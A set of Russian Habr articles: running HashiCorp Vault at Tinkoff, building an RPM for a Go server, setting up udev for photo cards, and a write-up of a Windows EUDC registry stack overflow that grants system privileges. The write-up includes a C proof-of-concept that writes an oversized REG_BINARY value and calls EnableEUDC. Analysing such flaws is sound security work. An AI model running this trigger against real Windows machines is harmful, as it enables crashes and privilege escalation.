Формат данной статьи не позволяет более детально рассмотреть инфраструктуру для создания мапперов и показать применение библиотеки в типичном стеке приложения. В дальнейшем я могу более детально разобрать [Partial Update Example](https://github.com/mw79/partial-update-example) и уделить больше внимания описанию внутренней реализации библиотеки. | https://habr.com/ru/post/542818/ | null | ru | null |
# Как в Тинькофф запускали HashiCorp Vault
Меня зовут Юрий Шуткин, я инфраструктурный инженер в Тинькофф. В этой статье расскажу, как мы запустили сервис по хранению важной информации и избавились от небезопасной передачи секретов.
Секретами мы называем важную информацию, которую нельзя хранить в открытом виде: пароли, токены, сертификаты.
Простого указания недостаточно, чтобы люди стали безопасно хранить и передавать секреты. Коллеги загружены, и вопросы безопасности слишком часто оставляются на потом, которое на практике редко наступает. Поэтому мы хотели сделать простой и удобный сервис, чтобы им было приятно пользоваться и вопросы безопасности не страдали.
Почему HashiCorp Vault
----------------------
Мы выбрали HashiCorp Vault, потому что у него есть встроенный ACL, аудит логов, хранилище Key Value, интеграция с Active Directory, можно не дублировать пользователей, PKI — и все это работает из коробки. У Vault отличный задокументированный API, которым удобно пользоваться даже из командной строки.
Начиная с версии 1.0.0 в OSS версии Vault появился веб-интерфейс. До этого он был только в платной Enterprise-версии. Мы используем OSS — нам достаточно бесплатной функциональности.
Так выглядит информация, которую нужно спрятать
Когда заходишь внутрь секрета в HashiCorp Vault, сама секретная информация скрыта. Чтобы ее посмотреть, нужно нажать кнопку «Копировать» или иконку «глаз». В варианте с версионированием можно копировать секрет или создать новую версию.
Как мы используем HashiCorp Vault
---------------------------------
У нас несколько типов пользователей, которые используют Vault по-разному:
1. Сотрудники, которым нужно лишь хранилище секретов, доступное через веб-интерфейс, — это тестировщики, которые не деплоят, а просто забирают логин и пароль, авторизуются и проверяют данные в сервисе.
2. HR, финтех-преподаватели, которым нужно хранить общие секреты — логины и пароли.
3. Коллеги, которые создают сервисные учетные записи и передают заказчикам реквизиты. Передавать их в открытом виде небезопасно, поэтому создатель учетной записи заносит реквизиты в формате JSON, нажимает кнопку Wrap, получает токен и отправляет его пользователю. Тот проверяет, что токен валиден, и дальше его расшифровывает. Если кто-то до него расшифровал этот токен или время жизни токена истекло, программа выдаст ошибку. Так мы узнаем, что секрет ушел не туда, и можем вовремя его заменить. Описан ручной вариант, но создать обертку можно с помощью API-запроса в Vault и развернуть ее через API.
4. Роботы и автоматизация — это различные API-запросы к Vault: приложения заходят в него, забирают секреты и живут с ними.
Одно из требований к системе — отказоустойчивость. Покажу примерную схему, как мы ее обеспечивали:
В качестве балансера Nginx. У Vault еще не было Integrated Storage и мы использовали Consul для Service Discovery и как хранилище данных. Он выдерживает большую нагрузку, уже был запущен, и был опыт его поддержки
Чтобы понимать, как все работает, добавили Prometheus — ПО для мониторинга приложений. Мы собирали статистику с Nginx, Vault и Consul, чтобы видеть, насколько все хорошо или плохо. Но этого тоже не хватало, и мы добавили бота, который ходит в Vault и симулирует жизнь пользователей. Он авторизуется под различными аутентификационными бэкендами, например LDAP, Userpass, Approle. Бот пишет, читает реквизиты и пытается отозвать токен. Так мы проверяем, что сервис — действительно сервис, а не 200 OK, белая страница и ничего не работает на самом деле.
Несколько раз при обновлении версии Vault этот бот помог обнаружить проблемы с авторизацией. По метрикам бота можно строить графики. На рисунке — гистограмма по времени авторизации:
С помощью бота можно отследить, что один авторизационный бэкенд работает дольше, чем остальные.
Видно, куда приходят запросы, и, если начинает расти время ответа, мы ищем, в чем проблема Основная фича Vault — Barrier, его задача — зашифровать данные, которые уходят в Storage и расшифровать те, что приходят обратно. Storage всегда зашифрован, и это третья инсталляция Vault:
Схема пути запроса Шифрование использует определенный алгоритм ключей, и без них RAW-данные из хранилища сложно расшифровать. Однажды я потерял ключи от первых двух инсталляций и не смог получить доступ.
Vault использует мастер-ключ для расшифровки своего хранилища. Мастер-ключ никому не известен, он даже в Vault не хранится и существует лишь в памяти процесса. Когда в первый раз запускаешь Vault, появляется окно с просьбой ввести максимальное количество ключей и информацией, сколько нужно ключей, чтобы собрать мастер-ключ.
Мастер-ключ разбит на несколько ключей с помощью алгоритма ШамираУ нас семь инженеров, владельцев ключей. Как в фильме «Властелин колец»: все семь колец правят миром, а три из них могут объединить свои ключи, чтобы получить мастер-ключ, расшифровать Vault и выпустить рутокен.
Три любых ключа могут расшифровать VaultЕсли проинициализировать Vault и перезапустить его, появляется окно с просьбой ввести части ключей. Мы настроили хитрые локейшены, чтобы в любой момент отправить запрос на распечатывание определенной ноды Vault: /unseal/node1/unseal/node2...
Мы зашифровали ключи индивидуальными GPG-ключами и сохранили в Git. Это нужно для того, чтобы их можно было легко найти в одном месте. После каждой операции ротации ключей `Rekey` генерируется новый мастер-ключ. Старые ключи прекращают работать, но с их помощью можно распечатать старые бэкапы, что пару раз было очень кстати.
Страница запечатанного Vault, в поле нужно ввести свой ключОднажды мне позвонили в два часа ночи, потому что две трети кластера не работали и появлялась картинка «Vault запечатан». Пользователи пришли на работающую ноду, которая автоматически перебросила их на зашифрованную. И вроде авторизовался, но Vault не работает.
Это произошло, потому что сама веб-страница через равные интервалы времени отправляет запрос в Vault /sys/seal-status. Ответ на такой запрос у любой запущенной ноды — «200», но в теле ответа от запечатанной ноды написано, что Vault запечатан и не работает. У нас был простой конфиг для Nginx с перечислением апстримов до нод Vault без проверки на запечатанность. API-запросы с ответом 5хх или по таймауту автоматически отправляются в другой бэкенд, пока не переберут все имеющиеся. Если хотя бы одна нода Vault доступна, API работает.
Сначала мы вывели запечатанные ноды из ротации, чтобы работа веб-интерфейса восстановилась. Vault должен быть доступен 24/7, на него полагается большая часть автоматизации. Приложения не смогут проинициализироваться при старте, если Vault недоступен и не отдает секреты.
Я ввел часть ключа и активировал его для расшифровки Vault, но нужно было еще два. Мы стали искать тех, с кем можно распечатать Vault. Один инженер был в отпуске, до второго не удалось дозвониться. Третий пытался подключиться к своей машине по RDP, но что-то пошло не так, и машина зависла. Четвертый оказался доступен и помог. Утром мы перезагрузили машину третьего инженера, и он помог нам распечатать ноды Vault.
Последняя пара инженеров так часто пользовалась PGP-ключом, что один не вспомнил пароль, а второй забыл перенести PGP-ключ на новое оборудование. Тогда в проекте участвовали только два инженера, остальные просто хранили ключи и не были готовы к звонку.
История с ночными звонками показала, как нужно строить отказоустойчивость. Vault уже давно разрешил использовать облачные системы Key Management, но наша служба безопасности не рекомендовала их.
Мы хотели поднять приложение, например на Flask, загрузить в его память ключи, чтобы приложение регулярно пыталось ходить на каждую ноду Vault и распечатывать ее. К счастью, HashiCorp релизнул функцию печати кластера с помощью другого кластера.
Мы подняли еще один кластер, настроили его, и теперь он распечатывает основной кластер Vault. Это позволяет работать на Unseal-кластере с полной его недоступностью в течение суток, прежде чем пойдут проблемы в проде. С новым кластером проблем почти не бывает, он не нагружен, там никого нет, кроме иногда приходящих инженеров и робота. Теперь схема усложнилась:
Схема инсталляции: два балансера, один бот, два кластера консула, два кластера Vault и единый пром, в который собираем данные, — пром ходит в наши приложения и забирает данные сам. Есть дополнительный кластер, он мониторится, в него ходит роботНам все еще нужно хранить Unseal-ключи для распечатывания второго кластера, но в прод-окружении у нас нет ключей. За счет того, что в основном кластере настроено автораспечатывание, мы немного больше защитили инсталляцию: нет группы инженеров, которые могут создать Root-токен продового окружения.
Как мы конфигурируем Vault
--------------------------
Нам нужно было конфигурировать объекты внутри Vault, чтобы управлять аутентификационными бэкендами и учетными записями в них. Рассматривали Terraform — опенсорс от компании HashiCorp, но обнаружили, что он мог удалить бэкенд при изменении времени жизни токена или при изменении описания бэкенда. Это риски, с которыми не хотелось сталкиваться.
Terraform не подошел, но с Vault можно работать через REST API. В Ansible есть модуль, который умеет работать через REST API, и экспертность — рассмотрели его как инструмент для управления объектами внутри Vault. Мы хотели добиться единообразия и простоты в описании объектов.
Пример структуры описания конфигов проектовВ итоге у нас 150+ каталогов c проектами в прод-окружении, в каждом каталоге есть свой набор файлов, в которых описан проект, группы AD, сервисные УЗ, политики проекта, кому и куда можно.
Как применяли конфигурации
--------------------------
Я был первым инженером в проекте и мог все катить сам. Быстро появился поток обращений «Юра, когда применится?» и «Юра, давай применим вот это». За пару месяцев получилось больше 70 проектов, и число растет до сих пор.
Чтобы решить проблему с потоком, мы настроили интеграцию с AWX — это «запускатель» Ansible. Однажды из-за бага AWX не подгрузилась одна переменная и мы вайпнули целое окружение — к счастью, тестовое, на котором проверяем новые версии и конфиги Vault.
Мы сохраняли не только регулярные бэкапы, но и бэкапы, запускаемые перед применением изменений. После вливания Merge Request в мастер-ветку смогли восстановить окружение. Бонусом настроили уведомления о применении конфигов в канал корпоративного мессенджера, чтобы не отвечать на вопросы «применилось ли».
Как создаем бэкапы
------------------
Первые бэкапы запускались в Cron. Но вручную проверять, как все запустилось, — трата времени, поэтому сделали скрипт, который отдавал метрики в систему мониторинга.
Если прямоугольник зеленый — все хорошо. Мы видим, когда был сделан последний бэкап, сколько он длился, сколько весит и общую тенденцию по бэкапамВ Webhook приходят не только роботы, но и инженеры, чтобы запускать скрипты на сервереЧтобы снимать бэкапы по требованию, [запустили Webhook-сервис.](https://github.com/adnanh/webhook) Webhook — это приложение, написанное на Go. С его помощью можно зайти на специальный локейшен по порту 9000 (дефолтный), c нужным секретом запустить бэкап либо запустить восстановление бэкапа при обращении к другому локейшену.
Регулярные бэкапы по Cron тоже запускаются через Webhook. Мы получим уведомление, если с момента последнего бэкапа прошло слишком много времени, а также с помощью Blackbox-экспортера можем проверить, что Webhook доступен.
Однажды Vault стал тормозить. Беглый осмотр метрик показал, что бэкап разросся с 70 Мб до 2 Гб и продолжал расти каждый час. Проверили логи: никаких ошибок, стандартные операции чтения и записи. Построили выборки по аудит-логу, нашли приложение, которое регулярно логинится в Vault. Время жизни токена было 32 дня, а использовался он несколько минут.
Мы уменьшили время жизни токенов после этого случая и добавили в процесс бэкапирования анализатор бэкапа. Это утилита, которая считает объекты в бэкапе и отдает метрики. Так мы можем понимать, как утилизируется хранилище Vault, кто сколько потребляет.
Теперь мы знаем, где сколько пользователей, как идет распределение Secret Engines по различным хранилищам Как Vault помогает нам
----------------------
1. Убрали логины и пароли из публичных мест.
2. Создали дружелюбный сервис для пользователей, чтобы они не терялись, куда нажать, как заводить секреты.
3. Обеспечили возможность передавать секретные данные через публичный канал. Это враппинг: мы зашифровали наше сообщение, оно живет в течение заданного интервала времени, все можно сделать через API и автоматизировать.
4. Сделали полностью динамические окружения, которые завязаны на Vault. Машины генерируют все логины и пароли, сразу складывают это в Vault, и пользователи приходят туда, смотрят реквизиты, могут авторизоваться, проверить, что все работает. Мы защитились от захардкоженного значения, одного маленького и единственного, которое 1000 лет никто не проверял, либо оно всегда вроде работало, и всегда этот пароль был точно такой же в Вики.
5. Обновить реквизиты стало проще. Мы получили единый источник правды, и нам достаточно поменять секреты в одном месте, а не идти в несколько систем и обновлять значения в них. Если приложение умеет само подгружать все изменения, оно сходит, обновит у себя значение и будет пользоваться новым паролем. Если приложение этого не умеет, можем запустить деплой. У нас все передеплоилось, и нет вопросов, все ли мы поменяли секреты, должны ли словить ошибку о том, что где-то что-то не работает.
Vault — интересный ресурс, с его помощью можно много всего автоматизировать, и его API довольно прост. Нам помогает в жизни автоматизация и шаблонизация. Наши проекты стандартизированы, за счет этого проще добавлять новые. | https://habr.com/ru/post/674582/ | null | ru | null |
# Сборка собственного RPM-пакета, содержащего простую Go-программу
Процесс развёртывания программ обычно состоит из множества этапов. Некоторые из этих этапов могут представлять собой довольно-таки сложные последовательности действий. В наши дни имеется широкое разнообразие инструментов, позволяющих создавать описания процессов развёртывания программ, которые можно воспроизводить на разных системах.
А именно, в мире Linux уже довольно давно существуют менеджеры пакетов. Например — это [RPM](https://rpm.org/) и [YUM](http://yum.baseurl.org/). Они упрощают установку, обновление и удаление программ в Linux-системах. Собственно говоря, в этой статье я хочу рассказать о том, как создать собственный простой RPM-пакет, хочу показать, что это совсем несложно.
[](https://habr.com/ru/company/ruvds/blog/575346/)
Надо отметить, что во многих организациях менеджеры пакетов используются лишь для установки программ, предлагаемых разработчиком используемого этими организациями дистрибутива Linux. Для управления развёртываниями собственных программ менеджеры пакетов не применяются. Тому, кто попытается собрать свой первый RPM-пакет, может показаться, что это не так уж и просто. Но обычно тот, кто учится создавать такие пакеты, тратит время с пользой. Дело в том, что соответствующие знания способны помочь ему в деле оптимизации его рабочих процессов. Здесь мы рассмотрим процесс создания RPM-пакета, содержащего простую программу, написанную на [Go](https://golang.org/).
Создание пакета
---------------
Во многих проектах для развёртывания ПО используют менеджеры конфигурации. Вот, например, как может выглядеть типичный плейбук [Ansible](https://developers.redhat.com/products/ansible/overview):
```
tasks:
- name: 'Copy the artifact'
copy:
src: 'my_app'
dest: '/usr/bin/my_app'
- name: 'Copy configuration files'
template:
src: config.json
dest: /etc/my_app/config.json
```
Конечно, в плейбуках, применяющихся в реальных проектах, будет описано большее число этапов. Например, это может быть проверка ранее установленного ПО или управление сервисами. А почему бы не использовать нечто вроде следующей конструкции?
```
tasks:
- name: 'Install my_app'
yum:
name: 'my_app'
```
Теперь давайте посмотрим на наше Go-приложение. Это — простой сервер, поддерживающий работу веб-страницы. Вот код файла `main.go`:
```
package main
import (
"encoding/json"
"flag"
"fmt"
"io/ioutil"
"log"
"net/http"
)
type config struct {
Text string `json:"string"`
}
func main() {
var filename = flag.String("config", "config.json", "")
flag.Parse()
data, err := ioutil.ReadFile(*filename)
if err != nil {
log.Fatalln(err)
}
var config config
err = json.Unmarshal(data, &config)
if err != nil {
log.Fatalln(err)
}
http.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
fmt.Fprintf(w, config.Text)
})
log.Fatal(http.ListenAndServe(":8081", nil))
}
```
Вот — содержимое `config.json`:
```
{
"string": "Hello world :)"
}
```
Если запустить эту программу, то, обратившись к ней, учитывая то, что сервер ожидает подключения на порту 8081, можно увидеть веб-страницу с текстом из `config.json`. Программа эта, конечно, далека от готовности к продакшну, но для наших экспериментов она вполне подойдёт.
Добавление сервисов
-------------------
А как насчёт сервисов? Использование сервисов — это отличный способ унификации управления приложением. Поэтому создадим файл `my_app.service`:
```
[Unit]
Description=My App
[Service]
Type=simple
ExecStart=/usr/bin/my_app -config /etc/my_app/config.json
[Install]
WantedBy=multi-user.target
```
Каждый раз, когда мы соберёмся развернуть приложение, нужно будет выполнить следующие действия:
1. Скомпилировать проект.
2. Скопировать его в `/usr/bin/my_app`.
3. Скопировать файл `config.json` в `/etc/my_app/config.json`.
4. Скопировать `my_app.service` в `/etc/systemd/system/`.
5. Запустить сервис.
Создание .spec-файла
--------------------
RPM, что характерно и для Ansible, нуждается в файле определений, в котором описываются этапы установки программы, её зависимости, и другие действия, которые может понадобиться выполнить для установки программы на сервер:
```
$ sudo dnf install git
$ sudo dnf module install go-toolset
$ sudo dnf groupinstall "RPM Development Tools"
```
После того, как всё это установлено, мы готовы к тому, чтобы создать файл определений для пакета, известный ещё как .spec-файл:
```
$ rpmdev-newspec my_app.spec
```
Составить подобный файл может быть непросто. Нам, в деле создания этого файла, поможет утилита `rpmdev-newspec`. Вот его содержимое:
```
Name: my_app
Version: 1.0
Release: 1%{?dist}
Summary: A simple web app
License: GPLv3
Source0: %{name}-%{version}.tar.gz
BuildRequires: golang
BuildRequires: systemd-rpm-macros
Provides: %{name} = %{version}
%description
A simple web app
%global debug_package %{nil}
%prep
%autosetup
%build
go build -v -o %{name}
%install
install -Dpm 0755 %{name} %{buildroot}%{_bindir}/%{name}
install -Dpm 0755 config.json %{buildroot}%{_sysconfdir}/%{name}/config.json
install -Dpm 644 %{name}.service %{buildroot}%{_unitdir}/%{name}.service
%check
# go test should be here... :)
%post
%systemd_post %{name}.service
%preun
%systemd_preun %{name}.service
%files
%dir %{_sysconfdir}/%{name}
%{_bindir}/%{name}
%{_unitdir}/%{name}.service
%config(noreplace) %{_sysconfdir}/%{name}/config.json
%changelog
* Wed May 19 2021 John Doe - 1.0-1
- First release%changelog
```
Тут мне хотелось бы обратить ваше внимание на несколько моментов:
* Запись `Source0` может представлять собой ссылку на репозиторий с исходным кодом. Например, она может выглядеть так: `https://github.com/user/my_app/archive/v%version.tar.gz`.
* Если в `Source0` используется URL, то для загрузки исходного кода приложения можно воспользоваться командой `spectool -g my_app.spec`.
* Git позволяет быстро, не создавая удалённый репозиторий, генерировать tar-архивы:
```
$ git archive --format=tar.gz --prefix=my_app-1.0/ -o my_app-1.0.tar.gz HEAD
```
* Содержимое tar-архива может выглядеть примерно так, как показано ниже:
```
$tar tf my_app-1.0.tar.gz
my_app-1.0/
my_app-1.0/config.json
my_app-1.0/main.go
my_app-1.0/my_app.service
```
Сборка RPM-пакета
-----------------
Первым делом нам надо создать структуру директорий `rpmbuild` и поместить наш tar-архив в директорию `SOURCES`:
```
$ rpmdev-setuptree
$ mv my_app-1.0.tar.gz ~/rpmbuild/SOURCES
```
После этого соберём RPM-пакет для [Red Hat Enterprise Linux](https://developers.redhat.com/products/rhel/overview) 8:
```
$ rpmbuild -ba my_app.spec
```
Вот и всё.
Теперь у нас должна появиться возможность установить RPM-пакет и запустить наш сервис:
```
$ sudo dnf install ~/rpmbuild/RPMS/x86_64/my_app-1.0-1.el8.x86_64.rpm
$ sudo systemctl start my_app
$ curl -L http://localhost:8081
```
Если всё было сделано правильно, то, выполнив вышеописанную последовательность команд, вы должны увидеть содержимое файла `config.json` (который, кстати, находится в папке `/etc/my_app`).
А что если появится новая версия нашего приложения? Как создать новый пакет для её установки? Сделать это очень просто — достаточно увеличить номер версии программы в .spec-файле и снова собрать пакет. А DNF обнаружит, что появилось обновление нашей программы.
А если вы пользуетесь репозиторием пакетов — нужно лишь выполнить команду `dnf update my_app`.
Итоги
-----
Если вы хотите лучше разобраться с тем, как интегрировать RPM-файлы в свои рабочие процессы, советую взглянуть на [это](https://rpm-packaging-guide.github.io/) и [это](https://docs.fedoraproject.org/en-US/packaging-guidelines) руководства.
Кроме того, существует множество восхитительных инструментов, способных помочь в деле сборки RPM-пакетов. Есть и инструменты, умеющие создавать репозитории, которыми может воспользоваться разработчик. Это, например, [mock](https://github.com/rpm-software-management/mock), [fedpkg](https://pagure.io/fedpkg), [COPR](https://pagure.io/copr/copr) и [Koji](https://pagure.io/koji/). Эти инструменты могут пригодиться в проектах, где реализуются сложные сценарии развёртывания ПО. Например — там, где есть множество зависимостей, где в процессе развёртывания имеются сложные этапы, или там, где нужна поддержка нескольких архитектур.
Применяете ли вы RPM-пакеты, созданные самостоятельно?
[](http://ruvds.com/ru-rub?utm_source=habr&utm_medium=article&utm_campaign=perevod&utm_content=sborka_sobstvennogo_rpm-paketa,_soderzhashhego_prostuyu_go-programmu) | https://habr.com/ru/post/575346/ | null | ru | null |
# Новая уязвимость позволяет повысить привилегии в Win7/Vista в обход UAC
Интересная уязвимость для повышения локальных привилегий до уровня системы, появилась 24 ноября в виде статьи на ресурсе The Code Project (http://www.codeproject.com/KB/vista-security/uac.aspx). Буквально через несколько часов она была удалена с этого ресурса, но информация уже распространилась по сети и на мой взгляд удалять ее было бессмысленно. Повысить привилегии можно на системах начиная от XP и до Vista/Win7, причем серверные версии тоже находятся под ударом. А что еще более интересно уязвимость актуальна, как на х86 системах, так и на х64. Правда представленный [PoC](http://www.exploit-db.com/exploits/15609/) код удалось успешно запустить только на х86 системах.
Всему виной недостаточный контроль параметров функции WinAPI `RtlQueryRegistryValues()`:
`NTSTATUS RtlQueryRegistryValues(
__in ULONG RelativeTo,
__in PCWSTR Path,
__inout PRTL_QUERY_REGISTRY_TABLE QueryTable,
__in_opt PVOID Context,
__in_opt PVOID Environment
);`
Эта функция используется для получения сразу нескольких параметров реестра и на выходе заполняет структуру `_RTL_QUERY_REGISTRY_TABLE` с результатами.
`typedef struct _RTL_QUERY_REGISTRY_TABLE {
PRTL_QUERY_REGISTRY_ROUTINE QueryRoutine;
ULONG Flags;
PWSTR Name;
PVOID EntryContext;
ULONG DefaultType;
PVOID DefaultData;
ULONG DefaultLength;
} RTL_QUERY_REGISTRY_TABLE, *PRTL_QUERY_REGISTRY_TABLE;`
В поле `EntryContext`, из этой структуры, определяется тип выходного буфера и вот тут существует интересный нюанс, буфер может быть интерпретирован как структура `UNICODE_STRING` или как буфер из `ULONG` значений.
`typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, *PUNICODE_STRING;`
По заполнению этого буфера определяется тип ключа реестра, к которому был сделан запрос. Все бы хорошо, но был найден ключ реестра `HKCU\EUDC\[Language]\SystemDefaultEUDCFon`t, к которому можно обращаться только с правами пользователя и изменять его тип на `REG_BINARY` посредством вызова функции `Win32k.sys->NtGdiEnableEudc()`. В процессе работы этой функции предполагается, что значение реестра `REG_SZ` и буфер размещается в стеке, как структура `UNICODE_STRING` из которой первое значение `ULONG` интерпретирует длину буфера, но если значение реестра представлено, как `REG_BINARY`, то возникает классическое переполнение в стеке.
С учетом всех этих нюансов был разработан PoC (by noobpwnftw), который формирует в реестре значение перезаписывающее адрес возврата на стеке и выполняет произвольный буфер с кодом в режиме ядра.
Подробное описание уязвимости лежит [здесь](https://docs.google.com/viewer?url=http://www.pentestit.com/wp-content/uploads/2010/11/Bypass_UAC.pdf&embedded=true&chrome=true&pli=1)
<http://www.kb.cert.org/vuls/id/529673>
<http://secunia.com/advisories/42356>
Альтернативный PoC от [d\_olex](https://habrahabr.ru/users/d_olex/) ([оригинал](http://cr4sh-0x48k.livejournal.com/44815.html)):
> `#define EUDC\_FONT\_VAL "SystemDefaultEUDCFont"
>
>
>
> int \_tmain(int argc, \_TCHAR\* argv[])
>
> {
>
> HKEY hKey;
>
> char szKeyName[MAX\_PATH], Buff[0x600];
>
>
>
> sprintf\_s(szKeyName, MAX\_PATH, "EUDC\\%d", GetACP());
>
>
>
> // создание ключа реестра
>
> LONG Code = RegCreateKey(HKEY\_CURRENT\_USER, szKeyName, &hKey);
>
> if (Code != ERROR\_SUCCESS)
>
> {
>
> printf("ERROR: RegCreateKey() fails with status %d\n", Code);
>
> return -1;
>
> }
>
>
>
> // удаление старого параметра
>
> RegDeleteValue(hKey, EUDC\_FONT\_VAL);
>
>
>
> // создание нового параметра "SystemDefaultEUDCFont" типа REG\_BINARY
>
> FillMemory(Buff, sizeof(Buff), 'A');
>
> Code = RegSetValueEx(hKey, EUDC\_FONT\_VAL, 0, REG\_BINARY, Buff, 0x600);
>
>
>
> RegCloseKey(hKey);
>
>
>
> if (Code != ERROR\_SUCCESS)
>
> {
>
> printf("ERROR: RegSetValueEx() fails with status %d\n", Code);
>
> return -1;
>
> }
>
>
>
> // вызов уязвимой функции
>
> EnableEUDC(TRUE);
>
>
>
> return 0;
>
> }` | https://habr.com/ru/post/108903/ | null | ru | null |
# Командную строку фотографа-линуксоида — на пенсию!
Я увлекаюсь фотографией ещё со Смены-8М. Тогда были длительные ожидания пятницы или субботы (печать обычно шла в ночь на выходные), а перед этим оочень долгие ожидания фотоплёнки, химикатов, фотобумаги (ибо дефицит). Теперь же я вырос, стал большим и ленивым. Моя мыльница почти всегда со мной: либо в рюкзаке, либо где-то в кармане. Фотографирую всё, что вызвало интерес. При этом за день может быть одна фотография (шёл с работы), а может быть сразу много (целенаправленно вышел на прогулку). И если с целенаправленным случаем я скорее всего по приходу домой фотографии солью и разберу, то в единичных случаях я забуду и потом окажется что надо рассортировать фотографии сделанные в десяток разных дней. В последнее время выбираться целенаправленно получалось всё меньше, поэтому росло количество одиночных фотографий. И вот в один из таких дней, вдохновившись [прошлогодней статьёй](http://habrahabr.ru/post/128527), я решил упростить себе хобби. Поскольку на компьютере стоит Linux (openSUSE 12.1), то нерешаемых проблем быть не должно — подумал я. А захотелось мне чтоб оно само копировало и чтоб никуда тыкать не нужно было. Ну, а поскольку я ненастоящий линуксоид (первый и последний скрипт был на третьем курсе 0x0C лет назад), сразу скажу — не всё получилось.
Храню я фотографии в одном месте, отдельный каталог с датой под отдельное событие, даже если там одна фотография: «2009.05.20 Ночной Питер», «2011.08.20 Водопад Лавна», «2012.07.24 Дуся спит». Уже приходят мысли о том, что нужен ещё как минимум один уровень — год, но пока ещё терплю. Мои или не мои фотографии (в случае коллективных походов) — мне не важно, всё лежать будет в одном каталоге по событию. Свои фотографии если надо будет я ручками найду.
Для автоматической сортировки необходимо отследить момент подключения нужной карты памяти и запустить скрипт сортировки. В Linux за железо отвечает демон udev. Поэтому для начала научимся обращаться с ним.
##### udev
udev следит за оборудованием и для каждого устройства создаёт свою ноду в каталоге /dev. Это удобно, но есть маленький нюанс: устройства одного класса будут именоваться последовательно в зависимости от порядка их подключения. Поэтому первоначальный вариант — нажать кнопку на скрипте, который бы всё скопировал куда надо — не подходит (мало ли какие ещё окажутся диски подключены, а чтоб отследить конкретный диск придётся усложнить скрипт, да и не хотелось после подключения карты ещё и жать куда-то). Но его можно настроить так, чтоб конкретный диск монтировался в нужную точку — это уже хорошо, но не достаточно. Его самый большой плюс: запуск произвольного скрипта по каким-то событиям подходящим под фильтр. Для начала посмотрим к каким атрибутам и событиям мы можем привязаться для однозначного определения факта вставки карты памяти в карт-ридер. Конечной целью данного раздела является файл udev-правил соответствия карт-ридеру.
Для просмотра характеристик устройств можно использовать программу udevadm. Но ей требуется имя устройства. Поэтому сначала необходимо определить имя диска в карт-ридере. Воспользуемся самым простым способом. Вначале смотрим какие диски у нас в системе уже есть:
```
>ls -1 /dev/sd*
/dev/sda
/dev/sda1
/dev/sdb
/dev/sdb1
/dev/sdc
/dev/sdc1
/dev/sdd
/dev/sdd1
/dev/sde
/dev/sde1
/dev/sdf
/dev/sdg
/dev/sdh
/dev/sdi
```
Вставляем карточку в ридер и повторяем команду:
```
>ls -1 /dev/sd*
/dev/sda
/dev/sda1
/dev/sdb
/dev/sdb1
/dev/sdc
/dev/sdc1
/dev/sdd
/dev/sdd1
/dev/sde
/dev/sde1
/dev/sdf
/dev/sdg
/dev/sdh
/dev/sdh1
/dev/sdi
```
Видно что вставленная карточка прячется под именем /dev/sdh1. По секрету скажу что последние 4 диска (sdf, sdg, sdh, sdi) — это всё карт-ридер, и определить его диски можно было выполнив ту же команду до и после подключения ридера к компу, даже без карты памяти (до меня это немного позже дошло, когда уже определил имя тома описанным способом).
Теперь смотрим характеристики этого карт-ридера и карточки. Нужно найти что-нибудь за что можно будет уцепиться для более-менее однозначного определения факта появления карты в ридере. Тут нам и понадобится любое из его имён дисков. Данная команда выведет список атрибутов всех устройств начиная с указанного по имени и до корня, в udev-подобном формате:
**Вывод udevadm**
```
>udevadm info -a -n /dev/sdh1
Udevadm info starts with the device specified by the devpath and then
walks up the chain of parent devices. It prints for every device
found, all possible attributes in the udev rules key format.
A rule to match, can be composed by the attributes of the device
and the attributes from one single parent device.
looking at device '/devices/pci0000:00/0000:00:02.1/usb1/1-1/1-1:1.0/host10/target10:0:0/10:0:0:2/block/sdh/sdh1':
KERNEL=="sdh1"
SUBSYSTEM=="block"
DRIVER==""
ATTR{partition}=="1"
ATTR{start}=="2048"
ATTR{size}=="153600"
ATTR{ro}=="0"
ATTR{alignment_offset}=="0"
ATTR{discard_alignment}=="0"
ATTR{stat}==" 146 4 738 319 0 0 0 0 0 319 319"
ATTR{inflight}==" 0 0"
looking at parent device '/devices/pci0000:00/0000:00:02.1/usb1/1-1/1-1:1.0/host10/target10:0:0/10:0:0:2/block/sdh':
KERNELS=="sdh"
SUBSYSTEMS=="block"
DRIVERS==""
ATTRS{range}=="16"
ATTRS{ext_range}=="256"
ATTRS{removable}=="1"
ATTRS{ro}=="0"
ATTRS{size}=="7745536"
ATTRS{alignment_offset}=="0"
ATTRS{discard_alignment}=="0"
ATTRS{capability}=="51"
ATTRS{stat}==" 1352 1239 73856 8882 4 18 22 735 0 3608 9615"
ATTRS{inflight}==" 0 0"
ATTRS{events}=="media_change"
ATTRS{events_async}==""
ATTRS{events_poll_msecs}=="-1"
looking at parent device '/devices/pci0000:00/0000:00:02.1/usb1/1-1/1-1:1.0/host14/target14:0:0/14:0:0:2':
KERNELS=="14:0:0:2"
SUBSYSTEMS=="scsi"
DRIVERS=="sd"
ATTRS{device_blocked}=="0"
ATTRS{type}=="0"
ATTRS{scsi_level}=="0"
ATTRS{vendor}=="Generic-"
ATTRS{model}=="SD/MMC "
ATTRS{rev}=="1.00"
ATTRS{state}=="running"
ATTRS{timeout}=="30"
ATTRS{iocounterbits}=="32"
ATTRS{iorequest_cnt}=="0x220"
ATTRS{iodone_cnt}=="0x220"
ATTRS{ioerr_cnt}=="0x21f"
ATTRS{evt_media_change}=="0"
ATTRS{queue_depth}=="1"
ATTRS{queue_type}=="none"
ATTRS{max_sectors}=="240"
looking at parent device '/devices/pci0000:00/0000:00:02.1/usb1/1-1/1-1:1.0/host14/target14:0:0':
KERNELS=="target14:0:0"
SUBSYSTEMS=="scsi"
DRIVERS==""
looking at parent device '/devices/pci0000:00/0000:00:02.1/usb1/1-1/1-1:1.0/host14':
KERNELS=="host14"
SUBSYSTEMS=="scsi"
DRIVERS==""
looking at parent device '/devices/pci0000:00/0000:00:02.1/usb1/1-1/1-1:1.0':
KERNELS=="1-1:1.0"
SUBSYSTEMS=="usb"
DRIVERS=="usb-storage"
ATTRS{bInterfaceNumber}=="00"
ATTRS{bAlternateSetting}==" 0"
ATTRS{bNumEndpoints}=="02"
ATTRS{bInterfaceClass}=="08"
ATTRS{bInterfaceSubClass}=="06"
ATTRS{bInterfaceProtocol}=="50"
ATTRS{supports_autosuspend}=="1"
ATTRS{interface}=="Bulk-In, Bulk-Out, Interface"
looking at parent device '/devices/pci0000:00/0000:00:02.1/usb1/1-1':
KERNELS=="1-1"
SUBSYSTEMS=="usb"
DRIVERS=="usb"
ATTRS{configuration}=="CARD READER"
ATTRS{bNumInterfaces}==" 1"
ATTRS{bConfigurationValue}=="1"
